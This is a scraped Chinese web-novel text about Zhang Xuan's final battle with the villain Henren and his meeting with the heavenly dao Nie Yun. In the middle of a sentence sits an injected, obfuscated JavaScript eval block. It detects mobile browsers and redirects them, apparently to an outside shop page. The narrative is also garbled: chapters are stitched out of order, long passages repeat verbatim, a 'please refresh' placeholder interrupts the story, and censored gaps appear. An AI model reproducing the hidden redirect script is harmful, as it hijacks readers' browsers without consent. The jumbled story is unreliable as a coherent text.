“无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752316|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百八十一章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 